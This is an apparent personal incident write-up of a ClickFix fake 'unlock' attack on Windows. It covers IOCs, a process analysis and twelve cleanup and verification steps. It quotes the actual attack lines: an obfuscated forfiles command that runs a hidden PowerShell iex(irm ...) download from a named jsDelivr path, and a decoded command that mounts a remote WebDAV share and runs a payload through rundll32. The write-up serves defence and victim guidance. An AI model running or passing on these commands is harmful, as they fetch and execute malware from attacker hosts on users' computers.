ClickFix "Website Unlock" Command Malware: How I Removed It

TL;DR: A website told me to run a command on my Windows PC to “unlock” it. It was a ClickFix attack. The command quietly downloaded a PowerShell script, connected to a remote WebDAV share and ran a payload through rundll32.exe. Below are the exact commands, the indicators of compromise (IOCs), and the 12 steps I used to find and clean everything. If you just ran a command like this, disconnect from the internet now and jump to the emergency checklist.

It started with something that looked harmless.

A website refused to open properly and showed instructions to “unlock” access. The page asked me to run two commands on my Windows PC. In that moment, it looked like a simple browser or network verification step.

I copied the command. I opened PowerShell. I ran it.

Within minutes, my PC had executed a hidden PowerShell command, downloaded a remote script, connected to a suspicious WebDAV path, and launched a payload through rundll32.exe.

This was not a website unlock. It was a malware execution chain.

This post is a real incident write-up, so that anyone searching for the same commands, domains or files can identify the problem quickly and take action.

What is a ClickFix attack?

ClickFix (also called a “fake CAPTCHA” or “paste-and-run” attack) is a social-engineering trick. Instead of exploiting a software bug, it convinces you to run the malware yourself. The page shows a fake error, a fake “Verify you are human” CAPTCHA, or an “unlock this site” message. It then tells you to press Win+R, or open PowerShell or Terminal, paste a command, and press Enter.

Security researchers have tracked a huge rise in ClickFix campaigns since 2025. Microsoft has reported it as one of the most common ways attackers get initial access to Windows PCs. It works because the command looks technical and “official”, and because you are the one who runs it, many security tools treat it as a normal user action.

The golden rule: no real website, CAPTCHA or “verification” ever asks you to run a command on your computer.

Already ran a command like this? Do this immediately

Disconnect from the internet (Wi-Fi off or unplug the LAN cable).
Do not log in to anything important from that PC.
From a different, clean device, change your email, banking, hosting and social media passwords, and sign out of all sessions.
Run a full and offline antivirus scan (Step 3 below).
Work through the checks below, or reinstall Windows if this is a business-critical machine.

The suspicious command that started everything

The first command looked like this:

forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /v:on /c set p=pow&set e=ershe&set l=ll&!p!!e!!l! -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/Tedy324/vlan44-nginx/sample)"

At first glance it looked complicated but not obviously dangerous. That is the trick. It hides the word powershell by splitting it into pieces (set p=pow, set e=ershe, set l=ll) and joining them back together with !p!!e!!l!. So the real command was effectively:

powershell -WindowStyle Hidden -NoProfile -Command iex(irm cdn.jsdelivr.net/gh/Tedy324/vlan44-nginx/sample)

In plain English: download a PowerShell script from the internet and run it immediately, in a hidden window.

If you see cdn.jsdelivr.net/gh/Tedy324/vlan44-nginx/sample, Tedy324 or vlan44-nginx in your command history, PowerShell logs, browser downloads or registry, treat it as malicious.

The downloaded PowerShell script

The script was padded with harmless-looking filler (Get-Date, Get-Alias, Get-Random, ConvertFrom-Json) to look boring. The real payload was this line:

$Jqi9fd=([wmiclass]('Win32_P'+'rocessS'+'ta'+'rtu'+'p')).CreateInstance();
$Jqi9fd.ShowWindow=0;
([wmiclass](-join('Win32_','P','roces','s'))).Create(('c'+'m'+'d /'+'c pu'+'shd'+' \\sjc'+'3.sab'+'ad724.bi'+'o'+'@SSL\3'+'6580b02-'+'9'+'d9c'+'-'+'4a93-8'+'1a'+'8-46'+'f'+'877'+'79e789 '+'& run'+'dll32 '+'pf.ch'+',#1'),$null,$Jqi9fd)

Once the string pieces are joined, it becomes:

cmd /c pushd \\sjc3.sabad724.bio@SSL\36580b02-9d9c-4a93-81a8-46f87779e789 & rundll32 pf.ch,#1

What was actually happening?

PowerShell downloaded and ran a remote script with iex(irm ...). Here irm (Invoke-RestMethod) downloads the content and iex (Invoke-Expression) runs it as code.
WMI (Win32_ProcessStartup / Win32_Process) launched a new process with ShowWindow=0, so no window appeared.
cmd.exe ran pushd to mount a remote WebDAV share over HTTPS (@SSL).
rundll32.exe is a legitimate Windows tool, but here it was abused to execute pf.ch,#1, a payload hosted on that remote share.

Indicators of compromise (IOCs)

Indicator	Type
cdn.jsdelivr.net/gh/Tedy324/vlan44-nginx/sample	Script download URL
Tedy324, vlan44-nginx	GitHub account / repo used via jsDelivr
sjc3.sabad724.bio, sabad724.bio	WebDAV payload host
36580b02-9d9c-4a93-81a8-46f87779e789	WebDAV folder
pf.ch / rundll32 pf.ch,#1	Payload
Win32_ProcessStartup, Win32_Process.Create	Hidden process launch technique

How I confirmed the malware actually ran

Checking the running processes showed cmd.exe with the command line cmd /c pushd \\sjc3.sabad724.bio@SSL\... & rundll32 pf.ch,#1 and a child process rundll32 pf.ch,#1. That confirmed the payload did not just download. It executed.

Step-by-step cleanup and verification

Important: never run random commands from unknown websites. The commands below are only for investigation and cleanup, and only read or remove things.

Step 1: Disconnect from the internet

Turn off Wi-Fi or unplug the LAN cable. Avoid opening Gmail, Google Ads, Meta Ads, cPanel/WHM, WordPress admin, GitHub, banking or payment sites on the affected PC.

Step 2: Check for suspicious processes

Open PowerShell as Administrator and run:

Get-Process powershell,cmd,rundll32,wscript,cscript,mshta -ErrorAction SilentlyContinue |
Select-Object ProcessName, Id, StartTime, Path

Then check the full command lines:

Get-CimInstance Win32_Process |
Where-Object {$_.Name -match "powershell|cmd|rundll32|wscript|cscript|mshta"} |
Select-Object ProcessId, ParentProcessId, Name, CommandLine, CreationDate |
Format-List

Look for sabad724, pf.ch, jsdelivr, Tedy324, vlan44, 36580b02, pushd \\sjc3 or EncodedCommand. If the malicious processes are still running, stop them:

Stop-Process -Id PROCESS_ID_HERE -Force

Step 3: Run an offline / boot-time antivirus scan

Run a full scan, plus a boot-time or offline scan if your antivirus offers one. With Microsoft Defender:

Start-MpWDOScan

This restarts the PC and scans before Windows fully loads.

Step 4: Check Microsoft Defender detection history

Get-MpThreatDetection |
Sort-Object InitialDetectionTime -Descending |
Select-Object -First 10 InitialDetectionTime, ThreatName, ActionSuccess, Resources |
Format-List

In my case, Defender flagged a PowerShell command using -NoP -NonI -W Hidden -EncodedCommand, which are classic signs of hidden PowerShell execution.

Step 5: Search the registry for the IOCs

reg query HKCU /f "sabad724" /s
reg query HKLM /f "sabad724" /s
reg query HKCU /f "pf.ch" /s
reg query HKLM /f "pf.ch" /s
reg query HKCU /f "jsdelivr" /s
reg query HKLM /f "jsdelivr" /s
reg query HKCU /f "Tedy324" /s
reg query HKLM /f "Tedy324" /s

A clean result says End of search: 0 match(es) found.

Step 6: Remove the WebDAV mount trace

A leftover entry for sjc3.sabad724.bio@SSL was in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2. After deleting that key, searching for sabad724 returned 0 matches.

Step 7: Clear the Run dialog history

Windows also remembered the command in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. This is not active malware, just history, but it is worth removing. Check which letter holds the malicious entry first (it was d in my case):

$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
Remove-ItemProperty -Path $path -Name "d" -ErrorAction SilentlyContinue
$mru = (Get-ItemProperty -Path $path -Name MRUList -ErrorAction SilentlyContinue).MRUList
if ($mru) { Set-ItemProperty -Path $path -Name MRUList -Value ($mru -replace "d","") }

Step 8: Check network mounts

net use

There should be no connection to sjc3.sabad724.bio. If there is, remove it:

net use "\\sjc3.sabad724.bio@SSL\36580b02-9d9c-4a93-81a8-46f87779e789" /delete /y

Step 9: Check scheduled tasks

Get-ScheduledTask | Where-Object {
$_.Actions -match "sabad724|pf\.ch|jsdelivr|Tedy324|vlan44|36580b02|EncodedCommand"
} | Select-Object TaskName, TaskPath, State, Actions

Ideally this returns nothing. Many normal Windows tasks use rundll32, so focus on the specific IOC names.

Step 10: Check startup entries

Get-CimInstance Win32_StartupCommand |
Select-Object Name, Command, Location, User |
Format-List

Look for anything running PowerShell, cmd or rundll32 from AppData or Temp, or anything mentioning the IOCs.

Step 11: Check WMI persistence

Get-CimInstance -Namespace root\subscription -ClassName __EventFilter
Get-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer
Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding

Investigate anything that launches PowerShell, cmd, rundll32 or scripts from AppData or Temp.

Step 12: Don’t panic over false alarms

During my investigation, one long EncodedCommand PowerShell process looked scary. After decoding it, it turned out to belong to a VS Code extension (the OpenAI Codex extension, parent process codex.exe). Not every encoded PowerShell command is malware, but after an infection every one deserves a check.

When can you consider the PC clean?

Only when all of these are true after a reboot:

No suspicious cmd.exe or rundll32.exe processes
No connection to sjc3.sabad724.bio
No registry hits for sabad724, pf.ch, jsdelivr or Tedy324
No suspicious scheduled tasks, startup entries or WMI subscriptions
Full and boot-time antivirus scans are clean

One hard truth: after confirmed malware execution, only a full Windows reinstall gives 100% certainty. For most home users, clean results on all the checks above are reasonably safe. For business-critical machines, reinstall.

Change your passwords from a clean device

ClickFix campaigns very often deliver infostealers, which grab saved browser passwords and session cookies. Even if the malware is gone, assume your logins were exposed. From another device:

Change passwords for Google/Gmail, hosting (cPanel/WHM), WordPress, GitHub, Meta and Google Ads, banking and email.
Sign out of all active sessions and review recent login history.
Turn on 2FA everywhere (preferably an authenticator app or passkey, not SMS).
Remove unknown browser extensions, and stop saving critical passwords in the browser.

How to protect yourself from ClickFix attacks

Never paste commands from a website into Run (Win+R), PowerShell, Terminal or CMD, whatever the page says.
Be suspicious of any page that copies text to your clipboard automatically.
Keep Microsoft Defender’s real-time and cloud protection turned on.
On work PCs, ask IT about blocking the Run dialog and restricting PowerShell for standard users.
Use a password manager and 2FA, so stolen browser passwords are less useful.

Final lesson

The mistake was not just running a command. It was trusting a website that asked me to run a command to “unlock” access. If a page asks you to run anything involving powershell, iex, irm, EncodedCommand, rundll32, forfiles or mshta, close it. If you already ran it, disconnect and start investigating immediately.

A single copied command can be enough to hand your PC to an attacker.

FAQ

Is “Verify you are human, press Win+R” a scam?

Yes, always. Real CAPTCHAs (Google reCAPTCHA, Cloudflare Turnstile) never ask you to leave the browser or run a command.

Is cdn.jsdelivr.net malicious?

No. jsDelivr is a legitimate, widely used CDN. Attackers abuse it by hosting malicious files in GitHub repositories, which jsDelivr then serves. The malicious part is the specific path (/gh/Tedy324/vlan44-nginx/), not the domain.

Will antivirus catch ClickFix?

Sometimes. Defender flagged the hidden PowerShell in my case, but because you run the command yourself, it can slip past protection. Manual checks like the ones above are still worth doing.